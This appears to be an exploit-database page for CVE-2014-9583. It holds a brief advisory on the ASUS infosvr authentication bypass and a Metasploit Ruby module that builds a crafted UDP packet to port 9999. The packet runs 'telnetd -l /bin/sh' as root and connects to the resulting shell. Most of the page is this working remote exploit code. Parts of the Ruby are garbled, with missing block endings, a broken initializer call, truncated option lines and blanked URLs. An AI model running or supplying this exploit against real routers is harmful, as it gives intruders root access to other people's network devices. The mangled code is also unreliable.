ASUS infosvr Authentication Bypass Command Execution

Authors:Friedrich Postelstorfer     Risk:High

CVE:CVE-2014-9583                  0day:Command Execution

0day-id:0DAY-9583                   Date:2018-04-23


common.c in infosvr in ASUS WRT firmware,, and other versions, as used in RT-AC66U, RT-N66U, and other routers, does not properly check the MAC address for a request, which allows remote attackers to bypass authentication and execute arbitrary commands via a NET_CMD_ID_MANU_CMD packet to UDP port 9999. NOTE: this issue was incorrectly mapped to CVE-2014-10000, but that ID is invalid due to its use as an example of the 2014 CVE ID syntax change.


# This module requires Metasploit:
# Current source:

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Udp

  def initialize(info = {})
      'Name'        => 'ASUS infosvr Auth Bypass Command Execution',
      'Description' => %q{
        This module exploits an authentication bypass vulnerability in the
        infosvr service running on UDP port 9999 on various ASUS routers to
        execute arbitrary commands as root.

        This module launches the BusyBox Telnet daemon on the port specified
        in the TelnetPort option to gain an interactive remote shell.

        This module was tested successfully on an ASUS RT-N12E with firmware

        Numerous ASUS models are reportedly affected, but untested.
      'Author'      =>
          'Friedrich Postelstorfer', # Initial public disclosure and Python exploit
          'jduck', # Independent discovery and C exploit
          'Brendan Coles <bcoles[at]>' # Metasploit
      'License'     => MSF_LICENSE,
      'Platform'    => 'unix',
      'References'  =>
          ['CVE', '2014-9583'],
          ['EDB', '35688'],
          ['URL', '']
      'DisclosureDate' => 'Jan 4 2015',
      'Privileged'     => true,
      'Arch'           => ARCH_CMD,
      'Payload'        =>
          'Compat' => {
            'PayloadType'    => 'cmd_interact',
            'ConnectionType' => 'find'
      'Targets'        => [['Automatic', {}]],
      'DefaultTarget'  => 0))
    register_options [
      Opt::RPORT(9999),'TelnetPort', [true, 'The port for Telnetd to bind', 4444]),'TelnetTimeout', [true, 'The number of seconds to wait for connection to telnet', 10]),'TelnetBannerTimeout', [true, 'The number of seconds to wait for the telnet banner', 25])
    register_advanced_options [
      # If the session is killed (CTRL+C) rather than exiting cleanly,
      # the telnet port remains open, but is unresponsive, and prevents
      # re-exploitation until the device is rebooted.'CommandShellCleanupCommand', [true, 'A command to run before the session is closed', 'exit'])

  def telnet_timeout
    (datastore['TelnetTimeout'] || 10)

  def telnet_port

  def request(cmd)
    pkt = ''
    # ServiceID   [byte]      ; NET_SERVICE_ID_IBOX_INFO
    pkt << "\x0C"
    # PacketType  [byte]      ; NET_PACKET_TYPE_CMD
    pkt << "\x15"
    # OpCode      [word]      ; NET_CMD_ID_MANU_CMD
    pkt << "\x33\x00"
    # Info        [dword]     ; Comment: "Or Transaction ID"
    pkt << Rex::Text.rand_text_alphanumeric(4)
    # MacAddress  [byte[6]]   ; Double-wrongly "checked" with memcpy instead of memcmp
    pkt << Rex::Text.rand_text_alphanumeric(6)
    # Password    [byte[32]]  ; Not checked at all
    pkt << "\x00" * 32
    # Command Length + \x00 + Command padded to 512 bytes
    pkt << ([cmd.length].pack('C') + "\x00" + cmd).ljust((512 - pkt.length), "\x00")

  def exploit
    print_status "#{rhost} - Starting telnetd on port #{telnet_port}..."
    udp_sock.put request "telnetd -l /bin/sh -p #{telnet_port}"

    vprint_status "#{rhost} - Waiting for telnet service to start on port #{telnet_port}..."
    Rex.sleep 3

    vprint_status "#{rhost} - Connecting to #{rhost}:#{telnet_port}..."

    sock = Rex::Socket.create_tcp 'PeerHost' => rhost,
                                  'PeerPort' => telnet_port,
                                  'Context'  => { 'Msf' => framework, 'MsfExploit' => self },
                                  'Timeout'  => telnet_timeout

    if sock.nil?
      fail_with Failure::Unreachable, "Telnet service unreachable on port #{telnet_port}"

    vprint_status "#{rhost} - Trying to establish a telnet session..."

    prompt = negotiate_telnet sock
    if prompt.nil?
      fail_with Failure::Unknown, 'Unable to establish a telnet session'

    print_good "#{rhost} - Telnet session successfully established..."

    handler sock

  def negotiate_telnet(sock)
    prompt = '#'
    Timeout.timeout(datastore['TelnetBannerTimeout']) do
      while true
        data = sock.get_once(-1, telnet_timeout)
        if !data or data.length == 0
          return nil
        elsif data.include? prompt
          return true
  rescue ::Timeout::Error
    return nil

Leave a Reply